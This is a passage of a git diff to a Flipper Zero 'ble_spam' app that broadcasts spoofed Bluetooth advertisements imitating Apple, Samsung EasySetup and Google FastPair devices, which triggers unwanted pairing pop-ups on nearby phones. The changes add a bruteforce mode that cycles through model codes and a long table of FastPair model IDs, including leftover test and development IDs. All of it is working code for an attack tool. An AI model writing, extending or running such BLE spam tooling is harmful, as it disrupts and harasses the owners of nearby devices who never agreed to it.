     submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
-    if(!found) {
-        found = true;
+    if(!found && payload->mode == PayloadModeValue) {
         selected = na_actions_count + 1;
     }
 
+    submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
+    if(payload->mode == PayloadModeBruteforce) {
+        selected = na_actions_count + 2;
+    }
+
     submenu_set_selected_item(submenu, selected);
 
     view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
@@ -746,12 +820,17 @@ void scene_continuity_na_action_on_exit(void* _ctx) {
 
 static void na_action_custom_callback(void* _ctx) {
     Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
+    payload->mode = PayloadModeValue;
+    cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
     scene_manager_previous_scene(ctx->scene_manager);
     scene_manager_previous_scene(ctx->scene_manager);
 }
 void scene_continuity_na_action_custom_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     ByteInput* byte_input = ctx->byte_input;
 
     byte_input_set_header_text(byte_input, "Enter custom Action Type");
@@ -769,9 +848,7 @@ bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent ev
     return false;
 }
 void scene_continuity_na_action_custom_on_exit(void* _ctx) {
-    Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
-    cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
+    UNUSED(_ctx);
 }
 
 static void na_flags_callback(void* _ctx) {
@@ -780,7 +857,8 @@ static void na_flags_callback(void* _ctx) {
 }
 void scene_continuity_na_flags_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     ByteInput* byte_input = ctx->byte_input;
 
     byte_input_set_header_text(byte_input, "Press back for automatic");
@@ -801,6 +879,7 @@ bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
 }
 void scene_continuity_na_flags_on_exit(void* _ctx) {
     Ctx* ctx = _ctx;
-    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Payload* payload = &ctx->attack->payload;
+    ContinuityCfg* cfg = &payload->cfg.continuity;
     cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
 }

+ 139 - 63
ble_spam/protocols/easysetup.c

@@ -36,9 +36,9 @@ const struct {
     const char* name;
 } watch_models[] = {
     {0x1A, "Fallback Watch"},
-    {0x01, "White Watch4 Classic 44"},
-    {0x02, "Black Watch4 Classic 40"},
-    {0x03, "White Watch4 Classic 40"},
+    {0x01, "White Watch4 Classic 44m"},
+    {0x02, "Black Watch4 Classic 40m"},
+    {0x03, "White Watch4 Classic 40m"},
     {0x04, "Black Watch4 44mm"},
     {0x05, "Silver Watch4 44mm"},
     {0x06, "Green Watch4 44mm"},
@@ -59,8 +59,8 @@ const struct {
     {0x1B, "Black Watch6 Pink 40mm"},
     {0x1C, "Gold Watch6 Gold 40mm"},
     {0x1D, "Silver Watch6 Cyan 44mm"},
-    {0x1E, "Black Watch6 Classic 43mm"},
-    {0x20, "Green Watch6 Classic 43mm"},
+    {0x1E, "Black Watch6 Classic 43m"},
+    {0x20, "Green Watch6 Classic 43m"},
 };
 const uint8_t watch_models_count = COUNT_OF(watch_models);
 
@@ -68,8 +68,8 @@ static const char* type_names[EasysetupTypeCOUNT] = {
     [EasysetupTypeBuds] = "EasySetup Buds",
     [EasysetupTypeWatch] = "EasySetup Watch",
 };
-static const char* easysetup_get_name(const ProtocolCfg* _cfg) {
-    const EasysetupCfg* cfg = &_cfg->easysetup;
+static const char* get_name(const Payload* payload) {
+    const EasysetupCfg* cfg = &payload->cfg.easysetup;
     return type_names[cfg->type];
 }
 
@@ -77,14 +77,18 @@ static uint8_t packet_sizes[EasysetupTypeCOUNT] = {
     [EasysetupTypeBuds] = 31,
     [EasysetupTypeWatch] = 15,
 };
-void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) {
-    const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL;
+void make_packet(uint8_t* out_size, uint8_t** out_packet, Payload* payload) {
+    EasysetupCfg* cfg = payload ? &payload->cfg.easysetup : NULL;
 
     EasysetupType type;
-    if(cfg) {
+    if(cfg && cfg->type != 0x00) {
         type = cfg->type;
     } else {
-        type = rand() % EasysetupTypeCOUNT;
+        const EasysetupType types[] = {
+            EasysetupTypeBuds,
+            EasysetupTypeWatch,
+        };
+        type = types[rand() % COUNT_OF(types)];
     }
 
     uint8_t size = packet_sizes[type];
@@ -94,10 +98,17 @@ void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const Protoc
     switch(type) {
     case EasysetupTypeBuds: {
         uint32_t model;
-        if(cfg && cfg->data.buds.model != 0x000000) {
-            model = cfg->data.buds.model;
-        } else {
+        switch(cfg ? payload->mode : PayloadModeRandom) {
+        case PayloadModeRandom:
+        default:
             model = buds_models[rand() % buds_models_count].value;
+            break;
+        case PayloadModeValue:
+            model = cfg->data.buds.model;
+            break;
+        case PayloadModeBruteforce:
+            model = cfg->data.buds.model = payload->bruteforce.value;
+            break;
         }
 
         packet[i++] = 27; // Size
@@ -137,10 +148,17 @@ void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const Protoc
     }
     case EasysetupTypeWatch: {
         uint8_t model;
-        if(cfg && cfg->data.watch.model != 0x00) {
-            model = cfg->data.watch.model;
-        } else {
+        switch(cfg ? payload->mode : PayloadModeRandom) {
+        case PayloadModeRandom:
+        default:
             model = watch_models[rand() % watch_models_count].value;
+            break;
+        case PayloadModeValue:
+            model = cfg->data.watch.model;
+            break;
+        case PayloadModeBruteforce:
+            model = cfg->data.watch.model = payload->bruteforce.value;
+            break;
         }
 
         packet[i++] = 14; // Size
@@ -181,7 +199,8 @@ enum {
 };
 static void config_callback(void* _ctx, uint32_t index) {
     Ctx* ctx = _ctx;
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
     switch(cfg->type) {
     case EasysetupTypeBuds: {
@@ -214,31 +233,36 @@ static void config_callback(void* _ctx, uint32_t index) {
     }
 }
 static void buds_model_changed(VariableItem* item) {
-    EasysetupCfg* cfg = variable_item_get_context(item);
+    Payload* payload = variable_item_get_context(item);
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     uint8_t index = variable_item_get_current_value_index(item);
     if(index) {
         index--;
+        payload->mode = PayloadModeValue;
         cfg->data.buds.model = buds_models[index].value;
         variable_item_set_current_value_text(item, buds_models[index].name);
     } else {
-        cfg->data.buds.model = 0x000000;
+        payload->mode = PayloadModeRandom;
         variable_item_set_current_value_text(item, "Random");
     }
 }
 static void watch_model_changed(VariableItem* item) {
-    EasysetupCfg* cfg = variable_item_get_context(item);
+    Payload* payload = variable_item_get_context(item);
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     uint8_t index = variable_item_get_current_value_index(item);
     if(index) {
         index--;
+        payload->mode = PayloadModeValue;
         cfg->data.watch.model = watch_models[index].value;
         variable_item_set_current_value_text(item, watch_models[index].name);
     } else {
-        cfg->data.watch.model = 0x00;
+        payload->mode = PayloadModeRandom;
         variable_item_set_current_value_text(item, "Random");
     }
 }
-static void easysetup_extra_config(Ctx* ctx) {
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+static void extra_config(Ctx* ctx) {
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     VariableItemList* list = ctx->variable_item_list;
     VariableItem* item;
     size_t value_index;
@@ -246,13 +270,16 @@ static void easysetup_extra_config(Ctx* ctx) {
     switch(cfg->type) {
     case EasysetupTypeBuds: {
         item = variable_item_list_add(
-            list, "Model Code", buds_models_count + 1, buds_model_changed, cfg);
+            list, "Model Code", buds_models_count + 1, buds_model_changed, payload);
         const char* model_name = NULL;
         char model_name_buf[9];
-        if(cfg->data.buds.model == 0x000000) {
+        switch(payload->mode) {
+        case PayloadModeRandom:
+        default:
             model_name = "Random";
             value_index = 0;
-        } else {
+            break;
+        case PayloadModeValue:
             for(uint8_t i = 0; i < buds_models_count; i++) {
                 if(cfg->data.buds.model == buds_models[i].value) {
                     model_name = buds_models[i].name;
@@ -265,6 +292,11 @@ static void easysetup_extra_config(Ctx* ctx) {
                 model_name = model_name_buf;
                 value_index = buds_models_count + 1;
             }
+            break;
+        case PayloadModeBruteforce:
+            model_name = "Bruteforce";
+            value_index = buds_models_count + 1;
+            break;
         }
         variable_item_set_current_value_index(item, value_index);
         variable_item_set_current_value_text(item, model_name);
@@ -274,13 +306,16 @@ static void easysetup_extra_config(Ctx* ctx) {
     }
     case EasysetupTypeWatch: {
         item = variable_item_list_add(
-            list, "Model Code", watch_models_count + 1, watch_model_changed, cfg);
+            list, "Model Code", watch_models_count + 1, watch_model_changed, payload);
         const char* model_name = NULL;
         char model_name_buf[3];
-        if(cfg->data.watch.model == 0x00) {
+        switch(payload->mode) {
+        case PayloadModeRandom:
+        default:
             model_name = "Random";
             value_index = 0;
-        } else {
+            break;
+        case PayloadModeValue:
             for(uint8_t i = 0; i < watch_models_count; i++) {
                 if(cfg->data.watch.model == watch_models[i].value) {
                     model_name = watch_models[i].name;
@@ -293,6 +328,11 @@ static void easysetup_extra_config(Ctx* ctx) {
                 model_name = model_name_buf;
                 value_index = watch_models_count + 1;
             }
+            break;
+        case PayloadModeBruteforce:
+            model_name = "Bruteforce";
+            value_index = watch_models_count + 1;
+            break;
         }
         variable_item_set_current_value_index(item, value_index);
         variable_item_set_current_value_text(item, model_name);
@@ -309,31 +349,40 @@ static uint8_t config_counts[EasysetupTypeCOUNT] = {
     [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1,
     [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1,
 };
-static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) {
-    const EasysetupCfg* cfg = &_cfg->easysetup;
+static uint8_t config_count(const Payload* payload) {
+    const EasysetupCfg* cfg = &payload->cfg.easysetup;
     return config_counts[cfg->type];
 }
 
 const Protocol protocol_easysetup = {
     .icon = &I_android,
-    .get_name = easysetup_get_name,
-    .make_packet = easysetup_make_packet,
-    .extra_config = easysetup_extra_config,
-    .config_count = easysetup_config_count,
+    .get_name = get_name,
+    .make_packet = make_packet,
+    .extra_config = extra_config,
+    .config_count = config_count,
 };
 
 static void buds_model_callback(void* _ctx, uint32_t index) {
     Ctx* ctx = _ctx;
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     switch(index) {
     case 0:
-        cfg->data.buds.model = 0x000000;
+        payload->mode = PayloadModeRandom;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
     case buds_models_count + 1:
         scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom);
         break;
+    case buds_models_count + 2:
+        payload->mode = PayloadModeBruteforce;
+        payload->bruteforce.counter = 0;
+        payload->bruteforce.value = cfg->data.buds.model;
+        payload->bruteforce.size = 3;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
     default:
+        payload->mode = PayloadModeValue;
         cfg->data.buds.model = buds_models[index - 1].value;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
@@ -341,30 +390,36 @@ static void buds_model_callback(void* _ctx, uint32_t index) {
 }
 void scene_easysetup_buds_model_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     Submenu* submenu = ctx->submenu;
     uint32_t selected = 0;
-    bool found = false;
     submenu_reset(submenu);
 
     submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
-    if(cfg->data.buds.model == 0x000000) {
-        found = true;
+    if(payload->mode == PayloadModeRandom) {
         selected = 0;
     }
+
+    bool found = false;
     for(uint8_t i = 0; i < buds_models_count; i++) {
         submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
-        if(!found && cfg->data.buds.model == buds_models[i].value) {
+        if(!found && payload->mode == PayloadModeValue &&
+           cfg->data.buds.model == buds_models[i].value) {
             found = true;
             selected = i + 1;
         }
     }
     submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
-    if(!found) {
-        found = true;
+    if(!found && payload->mode == PayloadModeValue) {
         selected = buds_models_count + 1;
     }
 
+    submenu_add_item(submenu, "Bruteforce", buds_models_count + 2, buds_model_callback, ctx);
+    if(payload->mode == PayloadModeBruteforce) {
+        selected = buds_models_count + 2;
+    }
+
     submenu_set_selected_item(submenu, selected);
 
     view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
@@ -380,12 +435,18 @@ void scene_easysetup_buds_model_on_exit(void* _ctx) {
 
 static void buds_model_custom_callback(void* _ctx) {
     Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
+    payload->mode = PayloadModeValue;
+    cfg->data.buds.model =
+        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
     scene_manager_previous_scene(ctx->scene_manager);
     scene_manager_previous_scene(ctx->scene_manager);
 }
 void scene_easysetup_buds_model_custom_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     ByteInput* byte_input = ctx->byte_input;
 
     byte_input_set_header_text(byte_input, "Enter custom Model Code");
@@ -405,24 +466,30 @@ bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent ev
     return false;
 }
 void scene_easysetup_buds_model_custom_on_exit(void* _ctx) {
-    Ctx* ctx = _ctx;
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
-    cfg->data.buds.model =
-        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
+    UNUSED(_ctx);
 }
 
 static void watch_model_callback(void* _ctx, uint32_t index) {
     Ctx* ctx = _ctx;
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     switch(index) {
     case 0:
-        cfg->data.watch.model = 0x00;
+        payload->mode = PayloadModeRandom;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
     case watch_models_count + 1:
         scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom);
         break;
+    case watch_models_count + 2:
+        payload->mode = PayloadModeBruteforce;
+        payload->bruteforce.counter = 0;
+        payload->bruteforce.value = cfg->data.watch.model;
+        payload->bruteforce.size = 1;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
     default:
+        payload->mode = PayloadModeValue;
         cfg->data.watch.model = watch_models[index - 1].value;
         scene_manager_previous_scene(ctx->scene_manager);
         break;
@@ -430,30 +497,36 @@ static void watch_model_callback(void* _ctx, uint32_t index) {
 }
 void scene_easysetup_watch_model_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     Submenu* submenu = ctx->submenu;
     uint32_t selected = 0;
-    bool found = false;
     submenu_reset(submenu);
 
     submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx);
-    if(cfg->data.watch.model == 0x00) {
-        found = true;
+    if(payload->mode == PayloadModeRandom) {
         selected = 0;
     }
+
+    bool found = false;
     for(uint8_t i = 0; i < watch_models_count; i++) {
         submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx);
-        if(!found && cfg->data.watch.model == watch_models[i].value) {
+        if(!found && payload->mode == PayloadModeValue &&
+           cfg->data.watch.model == watch_models[i].value) {
             found = true;
             selected = i + 1;
         }
     }
     submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx);
-    if(!found) {
-        found = true;
+    if(!found && payload->mode == PayloadModeValue) {
         selected = watch_models_count + 1;
     }
 
+    submenu_add_item(submenu, "Bruteforce", watch_models_count + 2, watch_model_callback, ctx);
+    if(payload->mode == PayloadModeBruteforce) {
+        selected = watch_models_count + 2;
+    }
+
     submenu_set_selected_item(submenu, selected);
 
     view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
@@ -469,12 +542,17 @@ void scene_easysetup_watch_model_on_exit(void* _ctx) {
 
 static void watch_model_custom_callback(void* _ctx) {
     Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
+    payload->mode = PayloadModeValue;
+    cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
     scene_manager_previous_scene(ctx->scene_manager);
     scene_manager_previous_scene(ctx->scene_manager);
 }
 void scene_easysetup_watch_model_custom_on_enter(void* _ctx) {
     Ctx* ctx = _ctx;
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Payload* payload = &ctx->attack->payload;
+    EasysetupCfg* cfg = &payload->cfg.easysetup;
     ByteInput* byte_input = ctx->byte_input;
 
     byte_input_set_header_text(byte_input, "Enter custom Model Code");
@@ -492,7 +570,5 @@ bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent e
     return false;
 }
 void scene_easysetup_watch_model_custom_on_exit(void* _ctx) {
-    Ctx* ctx = _ctx;
-    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
-    cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
+    UNUSED(_ctx);
 }

+ 1 - 1
ble_spam/protocols/easysetup.h

@@ -5,7 +5,7 @@
 // Research by @Spooks4576
 
 typedef enum {
-    EasysetupTypeBuds,
+    EasysetupTypeBuds = 0x01, // Skip 0 as it means unset
     EasysetupTypeWatch,
     EasysetupTypeCOUNT,
 } EasysetupType;

+ 244 - 35
ble_spam/protocols/fastpair.c

@@ -8,17 +8,191 @@ const struct {
     uint32_t value;
     const char* name;
 } models[] = {
+    // Genuine non-production/forgotten (good job Google)
+    {0x0001F0, "Bisto CSR8670 Dev Board"},
+    {0x000047, "Arduino 101"},
+    {0x470000, "Arduino 101 2"},
+    {0x00000A, "Anti-Spoof Test"},
+    {0x0A0000, "Anti-Spoof Test 2"},
+    {0x00000B, "Google Gphones"},
+    {0x0B0000, "Google Gphones 2"},
+    {0x0C0000, "Google Gphones 3"},
+    {0x00000D, "Test 00000D"},
+    {0x000007, "Android Auto"},
+    {0x070000, "Android Auto 2"},
+    {0x000008, "Foocorp Foophones"},
+    {0x080000, "Foocorp Foophones 2"},
+    {0x000009, "Test Android TV"},
+    {0x090000, "Test Android TV 2"},
+    {0x000035, "Test 000035"},
+    {0x350000, "Test 000035 2"},
+    {0x000048, "Fast Pair Headphones"},
+    {0x480000, "Fast Pair Headphones 2"},
+    {0x000049, "Fast Pair Headphones 3"},
+    {0x490000, "Fast Pair Headphones 4"},
+    {0x001000, "LG HBS1110"},
+    {0x00B727, "Smart Controller 1"},
+    {0x01E5CE, "BLE-Phone"},
+    {0x0200F0, "Goodyear"},
+    {0x00F7D4, "Smart Setup"},
+    {0xF00002, "Goodyear"},
+    {0xF00400, "T10"},
+    {0x1E89A7, "ATS2833_EVB"},
+
+    // Phone setup
+    {0x00000C, "Google Gphones Transfer"},
+    {0x0577B1, "Galaxy S23 Ultra"},
+    {0x05A9BC, "Galaxy S20+"},
+
     // Genuine devices
     {0xCD8256, "Bose NC 700"},
+    {0x0000F0, "Bose QuietComfort 35 II"},
+    {0xF00000, "Bose QuietComfort 35 II 2"},
+    {0x821F66, "JBL Flip 6"},
     {0xF52494, "JBL Buds Pro"},
     {0x718FA4, "JBL Live 300TWS"},
-    {0x821F66, "JBL Flip 6"},
+    {0x0002F0, "JBL Everest 110GA"},
     {0x92BBBD, "Pixel Buds"},
+    {0x000006, "Google Pixel buds"},
+    {0x060000, "Google Pixel buds 2"},
     {0xD446A7, "Sony XM5"},
     {0x2D7A23, "Sony WF-1000XM4"},
     {0x0E30C3, "Razer Hammerhead TWS"},
     {0x72EF8D, "Razer Hammerhead TWS X"},
     {0x72FB00, "Soundcore Spirit Pro GVA"},
+    {0x0003F0, "LG HBS-835S"},
+    {0x002000, "AIAIAI TMA-2 (H60)"},
+    {0x003000, "Libratone Q Adapt On-Ear"},
+    {0x003001, "Libratone Q Adapt On-Ear 2"},
+    {0x00A168, "boAt  Airdopes 621"},
+    {0x00AA48, "Jabra Elite 2"},
+    {0x00AA91, "Beoplay E8 2.0"},
+    {0x00C95C, "Sony WF-1000X"},
+    {0x01EEB4, "WH-1000XM4"},
+    {0x02AA91, "B&O Earset"},
+    {0x01C95C, "Sony WF-1000X"},
+    {0x02D815, "ATH-CK1TW"},
+    {0x035764, "PLT V8200 Series"},
+    {0x038CC7, "JBL TUNE760NC"},
+    {0x02DD4F, "JBL TUNE770NC"},
+    {0x02E2A9, "TCL MOVEAUDIO S200"},
+    {0x035754, "Plantronics PLT_K2"},
+    {0x02C95C, "Sony WH-1000XM2"},
+    {0x038B91, "DENON AH-C830NCW"},
+    {0x02F637, "JBL LIVE FLEX"},
+    {0x02D886, "JBL REFLECT MINI NC"},
+    {0xF00000, "Bose QuietComfort 35 II"},
+    {0xF00001, "Bose QuietComfort 35 II"},
+    {0xF00201, "JBL Everest 110GA"},
+    {0xF00204, "JBL Everest 310GA"},
+    {0xF00209, "JBL LIVE400BT"},
+    {0xF00205, "JBL Everest 310GA"},
+    {0xF00200, "JBL Everest 110GA"},
+    {0xF00208, "JBL Everest 710GA"},
+    {0xF00207, "JBL Everest 710GA"},
+    {0xF00206, "JBL Everest 310GA"},
+    {0xF0020A, "JBL LIVE400BT"},
+    {0xF0020B, "JBL LIVE400BT"},
+    {0xF0020C, "JBL LIVE400BT"},
+    {0xF00203, "JBL Everest 310GA"},
+    {0xF00202, "JBL Everest 110GA"},
+    {0xF00213, "JBL LIVE650BTNC"},
+    {0xF0020F, "JBL LIVE500BT"},
+    {0xF0020E, "JBL LIVE500BT"},
+    {0xF00214, "JBL LIVE650BTNC"},
+    {0xF00212, "JBL LIVE500BT"},
+    {0xF0020D, "JBL LIVE400BT"},
+    {0xF00211, "JBL LIVE500BT"},
+    {0xF00215, "JBL LIVE650BTNC"},
+    {0xF00210, "JBL LIVE500BT"},
+    {0xF00305, "LG HBS-1500"},
+    {0xF00304, "LG HBS-1010"},
+    {0xF00308, "LG HBS-1125"},
+    {0xF00303, "LG HBS-930"},
+    {0xF00306, "LG HBS-1700"},
+    {0xF00300, "LG HBS-835S"},
+    {0xF00309, "LG HBS-2000"},
+    {0xF00302, "LG HBS-830"},
+    {0xF00307, "LG HBS-1120"},
+    {0xF00301, "LG HBS-835"},
+    {0xF00E97, "JBL VIBE BEAM"},
+    {0x04ACFC, "JBL WAVE BEAM"},
+    {0x04AA91, "Beoplay H4"},
+    {0x04AFB8, "JBL TUNE 720BT"},
+    {0x05A963, "WONDERBOOM 3"},
+    {0x05AA91, "B&O Beoplay E6"},
+    {0x05C452, "JBL LIVE220BT"},
+    {0x05C95C, "Sony WI-1000X"},
+    {0x0602F0, "JBL Everest 310GA"},
+    {0x0603F0, "LG HBS-1700"},
+    {0x1E8B18, "SRS-XB43"},
+    {0x1E955B, "WI-1000XM2"},
+    {0x1EC95C, "Sony WF-SP700N"},
+    {0x1ED9F9, "JBL WAVE FLEX"},
+    {0x1EE890, "ATH-CKS30TW WH"},
+    {0x1EEDF5, "Teufel REAL BLUE TWS 3"},
+    {0x1F1101, "TAG Heuer Calibre E4 45mm"},
+    {0x1F181A, "LinkBuds S"},
+    {0x1F2E13, "Jabra Elite 2"},
+    {0x1F4589, "Jabra Elite 2"},
+    {0x1F4627, "SRS-XG300"},
+    {0x1F5865, "boAt Airdopes 441"},
+    {0x1FBB50, "WF-C700N"},
+    {0x1FC95C, "Sony WF-SP700N"},
+    {0x1FE765, "TONE-TF7Q"},
+    {0x1FF8FA, "JBL REFLECT MINI NC"},
+    {0x201C7C, "SUMMIT"},
+    {0x202B3D, "Amazfit PowerBuds"},
+    {0x20330C, "SRS-XB33"},
+    {0x003B41, "M&D MW65"},
+    {0x003D8A, "Cleer FLOW II"},
+    {0x005BC3, "Panasonic RP-HD610N"},
+    {0x008F7D, "soundcore Glow Mini"},
+    {0x00FA72, "Pioneer SE-MS9BN"},
+    {0x0100F0, "Bose QuietComfort 35 II"},
+    {0x011242, "Nirvana Ion"},
+    {0x013D8A, "Cleer EDGE Voice"},
+    {0x01AA91, "Beoplay H9 3rd Generation"},
+    {0x038F16, "Beats Studio Buds"},
+    {0x039F8F, "Michael Kors Darci 5e"},
+    {0x03AA91, "B&O Beoplay H8i"},
+    {0x03B716, "YY2963"},
+    {0x03C95C, "Sony WH-1000XM2"},
+    {0x03C99C, "MOTO BUDS 135"},
+    {0x03F5D4, "Writing Account Key"},
+    {0x045754, "Plantronics PLT_K2"},
+    {0x045764, "PLT V8200 Series"},
+    {0x04C95C, "Sony WI-1000X"},
+    {0x050F0C, "Major III Voice"},
+    {0x052CC7, "MINOR III"},
+    {0x057802, "TicWatch Pro 5"},
+    {0x0582FD, "Pixel Buds"},
+    {0x058D08, "WH-1000XM4"},
+    {0x06AE20, "Galaxy S21 5G"},
+    {0x06C197, "OPPO Enco Air3 Pro"},
+    {0x06C95C, "Sony WH-1000XM2"},
+    {0x06D8FC, "soundcore Liberty 4 NC"},
+    {0x0744B6, "Technics EAH-AZ60M2"},
+    {0x07A41C, "WF-C700N"},
+    {0x07C95C, "Sony WH-1000XM2"},
+    {0x07F426, "Nest Hub Max"},
+    {0x0102F0, "JBL Everest 110GA - Gun Metal"},
+    {0x0202F0, "JBL Everest 110GA - Silver"},
+    {0x0302F0, "JBL Everest 310GA - Brown"},
+    {0x0402F0, "JBL Everest 310GA - Gun Metal"},
+    {0x0502F0, "JBL Everest 310GA - Silver"},
+    {0x0702F0, "JBL Everest 710GA - Gun Metal"},
+    {0x0802F0, "JBL Everest 710GA - Silver"},
+    {0x054B2D, "JBL TUNE125TWS"},
+    {0x0660D7, "JBL LIVE770NC"},
+    {0x0103F0, "LG HBS-835"},
+    {0x0203F0, "LG HBS-830"},
+    {0x0303F0, "LG HBS-930"},
+    {0x0403F0, "LG HBS-1010"},
+    {0x0503F0, "LG HBS-1500"},
+    {0x0703F0, "LG HBS-1120"},
+    {0x0803F0, "LG HBS-1125"},
+    {0x0903F0, "LG HBS-2000"},
 
     // Custom debug popups
     {0xD99CA1, "Flipper Zero"},
@@ -39,19 +213,26 @@ const struct {
 };
 const uint8_t models_count = COUNT_OF(models);
 
-static const char* fastpair_get_name(const ProtocolCfg* _cfg) {
-    UNUSED(_cfg);
+static const char* get_name(const Payload* payload) {
+    UNUSED(payload);
     return "FastPair";
 }
 
-static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
-    const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
+static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
+    FastpairCfg* cfg = payload ? &payload->cfg.fastpair : NULL;
 
     uint32_t model;
-    if(cfg && cfg->model != 0x000000) {
-        model = cfg->model;
-    } else {
+    switch(cfg ? payload->mode : PayloadModeRandom) {
+    case PayloadModeRandom:
+    default:
         model = models[rand() % models_count].value;
+        break;
+    case PayloadModeValue:
+        model = cfg->model;
+        break;
+    case PayloadModeBruteforce:
+        model = cfg->model = payload->bruteforce.value;
+        break;
     }
 
     uint8_t size = 14;
@@ -100,30 +281,36 @@ static void config_callback(void* _ctx, uint32_t index) {
     }
 }
 static void model_changed(VariableItem* item) {
-    FastpairCfg* cfg = variable_item_get_context(item);
+    Payload* payload = variable_item_get_context(item);
+    FastpairCfg* cfg = &payload->cfg.fastpair;
     uint8_t index = variable_item_get_current_value_index(item);
     if(index) {
         index--;
+        payload->mode = PayloadModeValue;
         cfg->model = models[index].value;
         variable_item_set_current_value_text(item, models[index].name);
     } else {
-        cfg->model = 0x000000;
+        payload->mode = PayloadModeRandom;
         variable_item_set_current_value_text(item, "Random");
     }
 }
-static void fastpair_extra_config(Ctx* ctx) {
-    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+static void extra_config(Ctx* ctx) {
+    Payload* payload = &ctx->attack->payload;
+    FastpairCfg* cfg = &payload->cfg.fastpair;
     VariableItemList* list = ctx->variable_item_list;
     VariableItem* item;
     size_t value_index;
 
-    item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg);
+    item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, payload);
     const char* model_name = NULL;
     char model_name_buf[9];
-    if(cfg->model == 0x000000) {
+    switch(payload->mode) {
+    case PayloadModeRandom:
+    default:
         model_name = "Random";
         value_index = 0;
-    } else {
+        break;
+    case PayloadModeValue:
         for(uint8_t i = 0; i < models_count; i++) {
             if(cfg->model == models[i].value) {
